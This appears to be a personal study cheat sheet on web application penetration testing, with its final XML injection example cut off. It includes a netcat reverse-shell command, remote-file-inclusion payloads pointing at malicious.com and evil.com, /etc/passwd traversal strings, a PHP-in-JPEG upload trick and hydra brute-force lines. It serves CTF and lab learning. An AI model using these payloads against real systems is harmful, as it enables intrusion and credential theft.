· 9 years ago · Jul 04, 2017, 08:42 AM
1Web app hacking
2
3Attacking Strategies
4Phases:
5Recoinnassance
6
7Online searching: http://tools.kali.org/information-gathering/theharvester
8Enumeration/Fingerprinting
9How to probe ports: http://www.0daysecurity.com/penetration-testing/discovery-and-probing.html
10More info on probed ports, web resources: http://www.0daysecurity.com/penetration-testing/enumeration.html
11Identify services on all ports, check for outdated software/other potential vulns
12Manual browsing + spidering of website on BurpSuite.
13Exploitation
14Web app attack cheat sheet: Cheat sheet: https://www.owasp.org/index.php/Web_Application_Security_Testing_Cheat_Sheet#The_Checklist
15Top 10: https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf
16
17
18https://lab.pentestit.ru/docs/TL8_WU_en.pdf CTF:
19Top 4 Web app hacking vulns according to that:
201)information in HTML source
212)hidden directories
223)input places for injections
234)file upload
24
25
26
27
28Fingerprinting/enumeration
29Header info
30
31For HTTP headers:
32netcat [ip or domain] [port]
33GET / HTTP/1.1
34Host: [ip or domain]
35
36For HTTPS headers:
37openssl s_client -connect [ip or domain]:443
38GET / HTTP/1.1
39Host: [ip or domain]
40
41If requests don't come back like they do in the browser (e.g 403 instead of 404), there is probs a WAF (web application
42firewall) installed. In that case, mimic the browser and send a user-agent string in Zap's bruteforce)
43
44
45Other
46
47[+] Use Wappalyzer to identify known technologies.
48
49Confirm use of PHP
50
51All of these (along with solutions) can be found here, in the comments section: http://php.net/manual/en/security.hiding.php
52
53If expose_php hasn't been set to off in the Apache conf file (which also hides .php extensions), then put this as
54an argument to get php info: ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 //This is removed in PHP 5.5, I can't get it to work anymore
55
56The PHP session ID cookie's name defaults to "PHPSESSIONID".
57
58The website might have "X-powered by PHP" in a HTTP response header.
59
60[+] Find out PHP version: //Removed since PHP 5.5, I can't get it to work anymore
61Either through php info above, or by identifying what logo it has
62https://labs.detectify.com/2012/10/29/do-you-dare-to-show-your-php-easter-egg/
63
64[+] Search DNS records using dig.
65http://securityidiots.com/Web-Pentest/Information-Gathering/Part-4-DNS-information-Gathering-with-DIG.html //not that useful
66
67If the website is using shared hosting, you can attack the same server from other websites as well (you pwn one website, you can get to all the others as well). http://www.yougetsignal.com/tools/web-sites-on-web-server/
68
69[+]Find potentially vulnerable folders or files that disclose information:
70This is useful because hidden files may not be hardened against attacks, they may be backups that are either
71old and therefore vulnerable or give away source code (browsing files like mypage.php.backup will display the code in HTML)
72Also log files may contain sensitive data.
73
74[+] Burp can be used for mapping the site.
75
76[+] Inspect known HTTP headers and check for vulns (like outdated software,
77remote file inclusion, etc).
78
79nikto -h [domain or ip]
80
81[+] Directory scans:
82
83brute force directories/files (using wfuzz)
84python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ
85for a time delay, do -s
86if you're getting "soft 404s", then you can filter by character length --hh number_of_chars_in_soft_404
87
88(using dirbuster):
89http://www.exploresecurity.com/three-cheers-for-dirbuster/
90
91Identify the file extensions in use within known areas of the
92application (e.g. jsp, aspx, html), and use a basic wordlist
93appended with each of these extensions (or use a longer list of
94common extensions if resources permit).
95
96(!)For each file identified through other enumeration techniques,
97create a custom wordlist derived from that filename. Get a list
98of common file extensions (including zip, ~ (created by emacs), (none at all), bak, txt, src, dev, old, inc,
99orig, copy, tmp, etc.) and use each extension before, after, and
100instead of, the extension of the actual file name.
101
102Note: Windows file copying operations generate file names pre-
103fixed with “Copy of “ or localized versions of this string
104
105[+] Try to infer the name of the file based on the naming scheme.
106For example, if a page viewuser.asp is found, then look also for edituser.
107asp, adduser.asp and deleteuser.asp. If a directory /app/user is found,
108then look also for /app/admin and /app/manager.
109
110[+] Read the comments that devs leave. They may contain useful info.
111
112[+] Look at robots.txt. Might contain interesting pages.
113
114[+] Check for directory listing. This is turned on by default. www.site.com/directory/ will give you a directory listing.
115
116[+] Old files (which haven't been deleted but are no longer in use) may be in Google's archives.
117Refer to OWASP testing guide v4's "Google Hacking" are for more info.
118
119[+] If server uses some software (for example forum software phpbb), then check to see if the
120dev has accidentally left some installation files there. Those could prove to be useful.
121For example, for phpbb, that might be /phpbb3/install/install.php
122
123[+]If you find a .git directory, then check this out: https://lab.pentestit.ru/docs/TL8_WU_en.pdf
124
125[+] Joomla: Check out joomscan https://www.owasp.org/index.php/OWASP_Joomla_Vulnerability_Scanner_Usage
126 Wordpress: wpscan, might also want to check out wordpress sploit framework
127 CMS: Check out cmsmap
128--------------------------------------------------------
129Attacking web login applications/authentication methods
130--------------------------------------------------------
131[+] HTTP verb tampering:
132Any HTTP method based authentication (like basic authentication or digest authentication), this should be tested.
133http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20OWASP%20testing%20guide%20v4.pdf
134http://cdn2.hubspot.net/hub/315719/file-1344244110-pdf/download-files/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf?t=1464196641458
135This works on ASP.net and Java EE where the dev has said
136"Allow GET requests for admin, deny GET and POST requests for everyone else"
137What he's forgotten is that while GET and POST are denied, everything else is allowed.
138Where there's method-based authentication, this should be tried.
139
140Also make sure nonexistent ones like JEFF are denied.
141
142[+] PHP loose comparisons (check below)
143
144[+] Bruteforcing (check below)
145
146[+] Session fixation: refer to hacksplaining
147----------------------------------------
148Bruteforcing passwords/Password cracking
149----------------------------------------
150[+] Password cracking guide:
151(This applies most to offline cracking)
152
153(+) If there are no word mangling rules (need number, uppercase, symbol, etc), then most people don't
154like to mangle passwords. About 51% don't use numbers and only 6% use uppercase.
155
156Dictionary attacks with a lot of different words and not a lot of mangling work well here for
157catching low-hanging fruit. In this blog there are all the words in wikipedia - blog.sebastien.raveau.name
158
159(+) If here is a password creation policy, then you do have to use a smaller input dictionary and more mangling.
160The best such input dictionaries are based on previously cracked passwords.
161
162(+) The default mangling rules in John the Ripper work pretty well. However, they're designed
163to crack weak passwords. Also, you can make your own rules, apply that to a wordlist and conti-
164nually feed it to John using the -stdin option
165
166(+) Probabilistic cracking:
167Some words are more common than others: password, monkey, football
168Some word mangling rules are more common: 123, 007, $$$
169
170Probabilistic cracker assigns probabilities to everything:
171dictionary word commonness,
172word mangling rules
173l33tspeak
174
175These probabilities are created by a "training list"
176
177If you need to attack a stronger set of passwords, you just create a stronger training list.
178(This should be posted on this guy's site: reusablesec.blogspot.com)
179
180
181(+) If all the passwords have individual salts, then "password" and "password" don't have the same
182hash for different users, which is lame.
183In that case, you can't crack all the hashes by just doing one round of cracking. You have to
184do a round of cracking for every single hash, which is lame. In that case, just grab a wordlist
185with previously cracked passwords and try those (since ppl reuse passwords)
186
187(+) For attacking an individual, and not a huge list, you just have to create additional
188wordlists and attack a high probability to words related to them: kids' names, pets' names,
189parents, hobbies, etc. You can probably try passwords with high complexity and word mangling
190(mby even bruteforce), depending on how much time you have (especially if you're just attacking admin)
191
192(+) When bruteforcing, you should do letter frequency analysis
193With that, you can figure out that some letters like "q" don't occur very much and you shouldn't try them
194
195Also note that numbers are usually at the end and uppercase at the beginning (you can use crunch for this)
196
197Markov models - figures out "human-like" words.
198Basically says that "if you have the letter 'q', then the letter that follows it is almost alwaus 'u'"
199This is built into John the Ripper
200The result is that most of the things you get are words that look like they're taken from
201a dictionary (like "dog"). But also, you get words like "stech", which seems like it could be a password.
202
203[+] Bruteforce HTTP Basic Auth (the popup screen)
204hydra -L users.lst -P passwords.txt -f www.site.org http-head /path/of/target/ -V
205-V is verbose mode, -f is exit after first login pair found
206
207[+] Brute forcing http GET form:
208http://www.sillychicken.co.nz/2011/05/how-to-brute-force-htt-forms-in-windows/
209
210[+] The following is based on this:
211http://insidetrust.blogspot.com.ee/2011/08/using-hydra-to-dictionary-attack-web.html
212
213Bruteforcing ssh
214hydra <IP address or domain> ssh -s 22 -P passwords.txt -L users.txt (or -l user) -e nsr -t 4 (e.g 4 threads)
215
216Bruteforcing HTTP POST form:
217hydra <IP address or domain> http-form-post "<login path, e.g /login.php>:<form username input, e.g username>=^USER^&<form password input>=^PASS^:<The failed login text, e.g Wrong login>" -l <username> -P <passwordlist, e.g 500-worst-passwords.txt> -t 10 (number of threads, I don't know why 10)
218
219[+] If you want to crack PHP's md5, then the correct format is raw_md5, not any other md5 variant.
220
221----------------------
222Clickjacking
223--------------------
224Refer to the hacksplaining.com lesson about it.
225
226-------------------------------------------------
227SQLi/SQL injection
228--------------------------------------------------
229
230[+] As always, the first step to checking that the vulnerability exists is trying to get an injected query that gives the same reply as the legimitate one. For example:
231?id=11-1 should be the same as ?id=10 (if it's not a string)
232also you can try ...UNION SELECT 1,2,3--
233
234
235[+] Make sure the number of columns in the UNION request matches the amount before the UNION.
236You can do this with UNION SELECT 1, 2, 3, 4, etc. until you stop getting an error
237
238What select 1 does is it gives you the first column, but replaces all values with ones. The formal name of the column remains the
239same though (so if you do mysql_fetch_array(sqlquery)['id'] (and id is the first row), and the sqlquery is SELECT 1,
240then it will give you 1. If you do SELECT 1, 2 and id is the second row, you get 2.
241
242[+] When you want to comment something out, you need "-- " at the end. MIND THE SPACE.
243The problem with URL bars in browsers is that even if you put that space at the end, it will take it off. Use %20 at the end instead.
244
245[+] Keep in mind the left to right nature of SQL (like most other languages).
246SELECT user, password WHERE user=admin AND password='' OR 1=1--
247is equivalent to
248SELECT user, password WHERE (user=admin AND password='') OR 1=1--
249Meaning you'll get all users returned. Or, if only one user is returned, you'll only get the first user back.
250
251[+] Quite often, you'll find 'username' and 'password' from the 'users' table.
252
253[+] To get table and column info, type:
254MySQL: SELECT concat(table_name,':', column_name) FROM information_schema.columns
255
256[+] SQLmap tutorial - http://www.binarytides.com/sqlmap-hacking-tutorial/
257frst thing to try - sqlmap -u "mysite.com/sql.php?param=1"
258POST request: https://hackertarget.com/sqlmap-post-request-injection/
259
260[+] SQL Truncation attack - attack registration forms to gain access to any user account.
261This might only work on MySQL. According to my testing it should work for even custom databases (not the default one).
262Since the creators can specify their own max length, then you might want to put a shitload of whitespace in between there.
263http://resources.infosecinstitute.com/sql-truncation-attack/
264
265Register the following:
266username: admin (lots of spaces in between)And then whatever.
267password: mypassword123
268
269"admin " is equal to "admin", because the database discards any whitespace after that.
270
271If the "username" accepts only, say, 20 characters (this is a default configuration), then MySQL truncates the input to 20 characters.
272Meaning, the "And then whatever" gets discarded. Since whitespace doesn't count, you're effectively updating the record of "admin".
273
274[+] Filter evasion:
275
276Advanced ways to evade filters (using tricks like putting backslashes, using MySQL syntax, etc):
277https://websec.files.wordpress.com/2010/11/sqli2.pdf
278
279SQL smuggling for evading filters:
280if "INSERT" is blacklisted, then do concat("INS", "ERT"). Also UNICODE smuggling: 'Ä€' defaults to 'A' and won't be detected.
281starts from like halfway into the document.
282
283[+] Fixes:
284Blacklisting is bad. Almost all blacklists can be penetrated using filter evasion techniques.
285Whitelisting is better.
286Prepared statements/Parameter binding (same thing) is the way to go. Makes it impossible to do SQLi
287(unless it's incorrectly setup). You have to make sure that attackers can't change the command
288from neither the query itself or when you get data from the database that they might have
289changed (which is called second-order injection or something)
290
291[+] Obscure edge gase: GBK addslashes()/real_escape_string() bypass.
292http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
293
294---------------------
295NoSQL injection
296---------------------
297https://www.owasp.org/index.php/Testing_for_NoSQL_injection (better)
298http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL%20But%20Even%20Less%20Security.pdf
299
300[+] NoSQL databases often offer no security, so if you can connect to one, you can just query whatever you want.
301
302[+] There are 150 different NoSQL databases, all of them work differently and have different syntax. So, to exploit one, you need to
303familiarize yourself with the syntax. The most common one is MongoDB, so that's what the examples will be based on.
304
305----------------
306LDAP injection
307----------------
308
309[+] LDAP may be used instead of SQL when storing passwords (because it's really fast). In that case, use LDAP injection.
310<backstory>
311LDAP is used when a lot of different services have to be authenticated against a single back-end.
312If you just want to use it for authenticating logins, it's better to just use the database you already have (so maybe like MySQL)
313It's also useful if you want to incorporate authentication, privilege management and resource management in a database.
314
315
316Good tutorial on how LDAP queries work:
317https://technet.microsoft.com/en-us/library/aa996205(v=exchg.65).aspx
318</backstory>
319
320[+] LDAP Injection tutorial:
321http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Blackhat%20Europe%202008%20%20-%20LDAP%20Injection%20&%20Blind%20LDAP%20Injection.pdf
322
323When using ldap_bind(), if no parameters are supplied, then it's considered an anonymous bind. That's one way to get into someone's account.
324This works if the username and password aren't checked for emptyness and if they return NULL.
325(!)The way to get parameters to be null is not by doing ?username=&password=, but by not putting them in there at all, so just ?.
326
327If doing a search, then you can do an injection:
328Let's take (&(uname=blah)(passwd=(blah2)) as an example.
329
330Let's inject blah) into uname and blah2 into passwd
331OpenLDAP doesn't read anything after (&(uname=blah)) closes (although I haven't seen an example where this works yet).
332That means the (passwd=blah2)) will go unnoticed.
333Otherwise, you can inject a NULL byte where you want to end the query and that might work as well.
334OpenLDAP also just starts reading the query left to right and doesn't care if the part after the injection is syntactically incorrect.
335
336Active Directory will throw an error when you try to put two queries (however some clients ignore the second query and only send the first one, making the injection work).
337That means you'll have to make the injection into one query.
338
339Let's inject blah)(injected_filter into uname and blah2 into passwd. Now we have a query with 3 filters.
340(&(uname=blah)(injected_filter)(passwd=blah2))
341This is a good way to check for injection. If injected_filter is (&) and the query is successful, then it works.
342(!) (1=1) isn't the TRUE filter in LDAP. Use (&) instead! (1=1) gives you some weird shit that sometimes works, sometimes doesn't
343
344Also, if * is allowed, then you can inject username=* to get the first username in the database.
345Web for Pentester's examples are good if you want to look at the code (in the iso)
346Also, (pass=) gives the same result as (pass=*)
347
348(&(uid=*)(userPassword=*)(&))
349
350
351---------------
352File upload vulns
353---------------
354http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Secure%20file%20upload%20in%20PHP%20web%20applications.pdf
355this covers spoofing content-type, bypassing imagesize() and filetype checks.
356
357[+] May be found: when you upload photos as your avatar, when you upload files for other ppl to see
358[+] If you aren't allowed to upload .php, try uploading .php3 or .php.test (since Apache doesn't have handler for that, it will be used as .php)
359If the dev checks filetype by doing split(), then shell.jpg.php will work
360[+] To change MIME type (NOT the same as getimagesize()), use burpsuite.
361[+] To bypass getimagesize(), send a valid image with php in its comments
362
363This can be done using jhead.
364https://phocean.net/2013/09/29/file-upload-vulnerabilities-appending-php-code-to-an-image.html
365
366First, clear the headers using
367jhead -purejpg <filename>.jpg
368
369Add exif jpeg comment
370jhead -ce <filename>.jpg
371
372Write your php here. Note: the editor is vim I guess. (<can't remember, maybe 'i' for insert, ESC for exiting insert, :wq for save file and quit)
373For example (note the __halt_compiler() at the end. Otherwise the image bytes will get executed)
374<?php echo "hi"; __halt_compiler();?>
375
376[+] .htaccess is awesome (nginx doesn't support .htaccess files, only Apache). Can turn .jpg into .php or even the htaccess itself into .php.
377
378[+] The solution is to prevent the users from accessing those files directly by putting them
379outside the webroot and also by obfuscating the name, so that it's very difficult to get it
380by using LFI. Also prevent all the types of tricks mentioned in the article.
381
382[+] Anti filetype checking methods:
383Check what extension and what content can be uploaded.
384 Try to upload PHP file with the extension changed to the correct one (bypasses extension)
385 Try to upload a file in the correct format with the extension changed to .php (bypasses content)
386 If both enabled, do either;
387 add PHP payload to a PDF file
388 create PHP file that looks like PDF and bypasses the content-type check (much safer)
389 (there are also kali linux programs that do this)
390 https://pentesterlab.com/exercises/php_include_and_post_exploitation/course
391 Under "exploitation of local file include"
392-------------------------------------------------------
393RCE/Code injection/Command execution/Command Injection:
394-------------------------------------------------------
395[+] Use burp. It's so useful! For example, in one challenge, the programmer did a header("someotherlocation") when he detected that the formatting
396wasn't right. But he forgot to put return afterwards. So you could see the response come back in burp and see the results of your command injection.
397
398[+] if you can provide parameters to shell_exec() or exec() or passthru(), then you have a number of options.
399
400Look at the list of bash redirection and command operators:
401http://unix.stackexchange.com/questions/159513/what-are-the-shells-control-and-redirection-operators
402Redirect stderr to stdout:
4032>&1
404use ; or && or & to do multiple commands (you should encode these, especially the &).
405
406There's also notation for putting commands inside other commands.
407The following are equal to ping 127.0.0.1:
408ping `echo 127.0.0.1`
409ping $(echo 127.0.0.1)
410This allows you to execute random commands
411
412If you know what command they're using inside exec(), make sure to experiment with edge cases on the command line.
413For example:
414exec(ping blah 127.0.0.1); //is equal to
415exec(ping 127.0.0.1);
416So you can put anything instead of blah (like another command) and nothing bad will happen to you.
417
418Also you can check for typos. So if $shitdev puts "| " into the blacklist,
419then injecting "| ls" will get blacklisted, but "|ls" won't. Also he might've blacklisted ' instead of `, you never know.
420
421filters will probably be doing a preg_match on the string.
422
423It might be possible to do a multi-line command.
424For this, put an encoded newline (%0a) and your command after the initial command.
425
426-------------------------------------------------------
427Local File Inclusion/LFI/Directory Traversal
428-------------------------------------------------------
429http://securityidiots.com/Web-Pentest/LFI/guide-to-lfi.html
430
431[+] LFI often happens in multi-language websites. It gets the $language from either the cookie or
432the GET request and then includes language/$lang.php.
433
434[+] Log files, cookies and other methods can be used to achieve LFI (and RCE):
435https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
436
437[+] Putting a null-byte in between a string *might* make the string stop in some commands, for example in includes (because that's how it works in C).
438For example, include("shell.php\0.img") and will try to include "shell.php". In URL encoding, the NULL byte is %00.
439Doesn't work since PHP 5.3.4 (preg_ functions should still be vulnerable)
440If you try to do it after PHP 5.3.4, then it simply won't open anything with a null byte in it (even if you put the byte after the correct filename)
441From my server: Failed opening 'http://www.maribell.ee' for inclusion, when the url is ?lang=http://www.maribell.ee%00.whatever
442
443[+] If null-byte doesn't work, use truncation.
444http://securityidiots.com/Web-Pentest/LFI/guide-to-lfi.html
445http://security.stackexchange.com/questions/17407/how-can-i-use-this-path-bypass-exploit-local-file-inclusion
446
447Basically, /etc/passwd is the same as /etc/passwd/ to PHP (IN SOME CASES, doesn't work on my PHP+Apache setup), because it strips trailing slashes. Also, PHP will truncate filenames longer than 4096 bytes. Meaning, you can do
448/etc/passwd/./././././././././ (a lot of these) ././.php
449and the .php at the end will get tossed away!
450
451[+] Or you can inject code directly into the URL by doing data://. That way, it'll include the code directly from the URL (needs to be urlencoded and requires allow_url_include
452
453https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/ //Use this one
454http://securityidiots.com/Web-Pentest/LFI/guide-to-lfi.html //I think data: can also be used instead of data://
455
456
457[+] Double encoding:
458If there's an attack detection system in place, then if there's also a decode() before the include()
459, then you can bypass the detection system by double URL encoding the attack. This works because
460it will be decoded the second time by the decode() and will be valid code.
461This is a rare vulnerability though.
462It might occur when the dev is dumb or when there's some kind of third party app in between the include() and GET,
463which does the decode.
464
465
466[+] Local file inclusion:
467
468[+]View source code of php using filters (encrypt to base64)
469Info at https://secure.php.net/manual/en/wrappers.php
470
471from DVWA:
472Low - ../../../../../../../../etc/passwd (on windows you'd do ..\)
473Medium - ../ is filtered, but only once. Meaning, ....//, after filtering, becomes ../
474High - Dev allows only certain files to be included, like file1, file2, file3. He did it by comparing the filename with "file*".
475Meaning, file1/../file1.php returns file1.php.
476
477[+] Good overview of all the options available for exploiting LFI: https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
478
479[+] Methods of getting PHP on the server for LFI:
480 inject the PHP code in the log: for example with a web server, by accessing a crafted URL (the path contains the PHP code), and including the web server log. http://securityidiots.com/Web-Pentest/LFI/guide-to-lfi.html
481 inject the PHP code in an email, by sending an email and including the email (in `/var/spool/mail).
482 upload a file and including it, you can for example upload an image and put your PHP code in the image's comment section (so it won't get modify if the image is resized).
483 upload the PHP code via another service: FTP, NFS, ...
484
485 Also these: http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
486 /proc/self/environ (you'll probably get permission denied) https://www.exploit-db.com/papers/12886/
487 /proc/self/fd/...
488 /var/log/...
489 /var/lib/php/session/(PHP Sessions)
490 /tmp/ (PHP Sessions)
491 php://input wrapper
492 php://filter wrapper
493 data:// wrapper
494
495 Also you can do it with anything that outputs phpinfo() (because the GET and POST variables are in it):
496 http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20LFI%20with%20phpinfo()%20assistance.pdf
497 (there was a way to get phpinfo to appear by doing ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000, but this doesn't work since PHP5.5 (I couldn't get it to work on any website I tried anymore, not even my own)
498
499
500
501[+] Including PHP files as base64 so you can read them:
502https://secure.php.net/manual/en/wrappers.php.php
503php://filter/convert.base64-encode/resource=index
504Example: http://127.0.0.1/fileinclude.php?lang=php://filter/convert.base64-encode/resource=hello.php
505Also you can do it with data:// (guide somewhere below)
506
507--------------------------
508RFI/Remote File Inclusion
509--------------------------
510[+] Remote file inclusion - how to pass any extension or suffix to the URL (like "google.com/.php") without errors:
511If the include() script adds something like _lang.php or whatever at the end of it, then you don't need to
512make the file end with _lang.php on the remote server. You can just put a "?" at the end of your include.
513?include=http://malicious.com/shell.txt?_lang.php
514The ? at the end of the URL is used to ensure any extension or suffix added to the URL will be interpreted by as a GET parameter. If the configuration of the vulnerable system doesn't allow remote file include, an error message is displayed.
515
516[+] Exploitation of RFI:
517https://pentesterlab.com/exercises/php_include_and_post_exploitation/course
518Under "exploitation of remote file include"
519
520When you include a web shell, you should include shell.txt, not shell.php.
521If you include a php file, then the code runs on the external server, not yours.
522
523[+] DVWA Remote File Include:
524Low - ?page=http://evil.com
525Medium - use some other filestream, like php://. Info at https://secure.php.net/manual/en/wrappers.php
526---------------
527Post exploitation
528----------------
529[+] Create shell with netcat:
530
531Attacker$ sudo nc -l -p 80
532the attacker listens to port 80
533
534Victim$ nc [attacker IP] 80 -e /bin/bash
535The -e sign says to start up the program after connection and deliver the commands there
536Not all versions of netcat have -e.
537
538$ command-name 2>&1
539Redirect error messages to stdout instead of stderr (so you can see the errors)
540
541
542[+] Create "true" shell with socat:
543Presumes a previous shell on port 80 with the netcat shell.
544https://pentesterlab.com/exercises/php_include_and_post_exploitation/course
545
546--------------------
547Linux host reviewing
548--------------------
549*I'll put only offensive things here. For defensive ones (logging, etc), go to https://pentesterlab.com/exercises/linux_host_review/course
550*If there's lots of info, use "| less" to view it one by one.
551
552[+] Get Kernel info:
553
554uname -a
555gives kernel info
556
557uptime
558can be used to estimate how long it's been since the system's been patched.
559
560[+] Check for vulns:
561
562dpkg -l | less
563List all installed programs
564
565go to cvedetails and see if there are any unpatched programs to exploit (probably have to judge by uptime, unless it's been even longer since it was updated?)
566
567[+] Get general info:
568
569ifconfig -a
570to see what network interfaces are present;
571
572route -n
573to get the system routes. If the system does not have the route command installed, netstat -rn can be a suitable substitute.
574
575cat /etc/resolv.conf and cat /etc/hosts
576to know more about the DNS configuration of the system.
577
578[+] firewall rules:
579iptables -L -v
580ip6tables -L -v
581
582[+] Check file privileges (/etc/shadow should be with root privileges)
583ls -l /etc/ | less (gives it for all the files in the directory, so just find the right one)
584do this with /etc/shadow, /etc/shadow.backup, /etc/mysql/my.cnf, Apache SSL private keys
585
586[+] setuid files
587These are files which run with the owner's privileges instead of the user's.
588If the owner is root, they can be a security problem. The "passwd" utility is one such setuid file.
589
590find / -perm -4000 -ls
591Retrieves list of setuid files.
592For each file found, check if it's legitimate and if permissions are set correctly.
593
594[+] Find files that can be read from/written to.
595*You'll probably want to filter out /proc/ answers by doing "| grep -v /proc"
596
597Using find, you can retrieve a list of files that are readable and write-able by any users using the following command:
598# find / -type f -perm -006 2>/dev/null
599
600and a list of files write-able by any users using:
601find / -type f -perm -002 2>/dev/null
602
603[+] UID 0 users
604A common misconfiguration/backdoor of the /etc/passwd is to have a user with the uid 0. On traditional systems, only root is supposed to have the uid 0. If another user has the uid 0, he's basically root on the system.
605
606[+] /etc/shadow hash:
607You can check what encryption is used by checking the hash format, if the hash:
608 does not have a $ sign, DES is used;
609 starts by $1$, MD5 is used;
610 starts by $2$ or $2a$, Blowfish is used;
611 starts by $5$, SHA-256 is used;
612 starts by $6$, SHA-512 is used.
613
614This can also be used
615cat /etc/pam.d/common-password
616
617[+] sudoers
618The sudo configuration is stored in /etc/sudoers:
619
620# egrep -v '^#|^$' /etc/sudoers
621Defaults env_reset
622root ALL=(ALL) ALL
623%sudo ALL=(ALL) ALL
624user ALL=(ALL) NOPASSWD: ALL
625
626We can see there that the user named user can be any users (including root) without any passwords and without restriction.
627
628A common mistake with sudo is to provide a user with a limited set of commands that will still allow him to get a root shell on the system. For example, a user with access to /bin/chown (change owner) and /bin/chmod (change mode) will be able to copy a shell in his home and change the shell owner to root and add the setuid bit on the file. This way, this user will be able to have a root shell on the system.
629
630[+] Services:
631
632ps -edf
633Running services
634
635# lsof -i UDP -n -P
636UDP services
637
638# lsof -i TCP -n -P
639TCP services
640
641--------------------------------
642CSRF/Cross Site Request Forgery
643--------------------------------
644[+] Ways to do PUT/GET request without victim input:
645
646POST:
647make POST form with hidden inputs and use JavaScript to send the POST request
648
649GET:
650Make image with zero width and length and src=The_CSRF_Link. The GET request is made automatically.
651
652PUT/DELETE:
653This one is very difficult. Can only be accomplished with like browser plugins/plugin vulns and stuff.
654
655[+] If referrer header is checked, then two options:
6561)If site.com/csrf checks that "site.com" is in the string, you can send the query from
657malicious.com/site.com or
658site.com.malicious.com
6592)Use XSS (like reflected XSS) to achieve the goal.
660
661[+] If an anti-CSRF token is added, you need XSS.
662
663------------------------------------------------
664HTTP Request Smuggling/HRF/Web Cache Poisoning
665------------------------------------------------
666OWASP: https://www.owasp.org/index.php/Cache_Poisoning
667Do root-me challenge to learn this.
668
669---------------------------------
670Global register poisoning
671---------------------------------
672http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20register%20globals%20in%20PHP.pdf
673[+] Turned off by default since PHP 4.2.0 and deprecated since PHP 5.3.0!
674With this, you can initialize any uninitialized variables using get requests.
675It's good to have source code available with this.
676
677Example:
678<?php
679 if (1==2) {
680 $maths = False;
681 }
682 if ($maths) {
683 loginToWebpage()
684 }
685?>
686
687You can do vulnerable/registerpoison.php?maths=1 (because 1 == True) and get logged into the webpage.
688
689--------------------------------------
690PHP loose comparisons/Type juggling
691--------------------------------------
692(check the link for all the examples)
693http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20PHP%20loose%20comparison%20-%20Type%20Juggling%20-%20OWASP.pdf
694Can be used for CSRF token bypass, for authentication bypass
695
696[+] PHP has loose comparisons ("==") and strict comparisons ("===")
697
698Loose comparisons has some weird conversion rules.
699
700JSON is really useful because you can also send ints and bools and stuff, not just strings.
701
702Importantly, any string which has a letter or "0whatever" in the beginning is equal to int(0). If it begins with "123whatever", it's equal to int(123)
703!!Also TRUE == "whatever" will also always return true.
704
705JSON:
706{"username":0} //Might also work with "username":true
707if (0 == "testusername") { //works also with (123 == "123testusername")
708 echo "username bypassed";
709}
710
711[+] Also, with strcmp, if they've made a check with if(!strcmp($var1, $var2)) then they've fucked up,
712
713Use this to determine what counts as TRUE and what counts as false.
714http://php.net/manual/en/language.types.boolean.php
715
716There are better options than the empty parentheses bexause passing the empty parentheses generates an error. If that error is caught, the exploit doens't work. Find a better way to get strcmp to be 0 (check root-me's type juggling solutions and also the php.net website.
717
718JSON:
719{"password":[]}
720
721if (!strcmp([], "testpassword")) {
722 echo "password bypassed";
723}
724
725
726[+] BTW, the same technique also works when using PHP serialized data instead of JSON!
727
728-------------------------------
729Server-Side Template inclusion
730--------------------------------
731http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Server-Side%20Template%20Injection%20RCE%20For%20The%20Modern%20Web%20App%20-%20BlackHat%2015.pdf
732
733--------------------------------------
734XEE/XML External Entity/XML Injection
735--------------------------------------
736The OWASP testing guide is most useful for this.
737XXE can be used for:
7381) DDOS
7392) Data theft
7403) (ADD TO THIS)
741
742(less useful)
743http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XML%20External%20Entity%20Attacks%20(XXE)%20-%20owasp.pdf
744http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20What%20You%20Didn't%20Know%20About%20XML%20External%20Entities%20Attacks.pdf
745
746hacksplaining has a good explanation of External entities
747
748<base knowledge of XML>
749[+] Quick explanation of what an entity is http://www.w3schools.com/xml/xml_dtd_entities.asp
750
751[+]An XML document is valid as long as it adheres to the DTD or the XML Schema.
752
753[+] DTD - Document Type Definition.
754
755order.xml could have a reference to order.dtd - the document type definition for order.xml
756
757//This is in order.xml
758<!DOCTYPE order SYSTEM "order.dtd">
759
760//this is order.dtd. Says what elements need to be in order.xml
761<?xml version="1.0" encoding="UTF-8"?>
762<!ELEMENT account (#PCDATA)>
763<!ELEMENT contact (#PCDATA)>
764<!ELEMENT count (#PCDATA)>
765<!ELEMENT order (product, count, orderer)>
766<!ELEMENT orderer (contact, account)>
767<!ELEMENT product (#PCDATA)>
768
769[+] XML schema - order.xsd. Similar to order.dtd, but different syntax.
770
771
772[+] Core XML security standards:
7731)XML signatures
7742)XML encryption
7753)XML key management (XKMS)
7764)Security Assertion Markup Language (SAML)
7775)XML access control markup language (XACML)
778
779XML core security
780standards are only
781of limited value when
782the XML generator or
783parser is the target of
784the attack.
785
786[+] Example of PHP's simpleXML used to process an RSS feed (which is just an XML file)
787http://stackoverflow.com/questions/250679/best-way-to-parse-rss-atom-feeds-with-php ,the answer by brian cline
788
789</base knowledge of XML>
790
791[+] XML External entities
792
793[+] XML generator injection:
794You might be able to inject a fragment.
795For example, you write the injection in the comment part of an online banking app.
796Your code will get parsed in another app and you'll get the $$$.
797
798<batchjob>
799 <payment>
800 <account>5678-attacker</account>
801 <rcpt>206-1234</rcpt>
802 <amount>100.00</amount>
803 <comment> //INJECTION STARTS HERE
804 </comment>
805 </payment>
806 <payment>
807 <account>1234-victim</account>
808 <rcpt>206-1234</rcpt>
809 <amount>100.00</amount>
810 <comment>Hacked
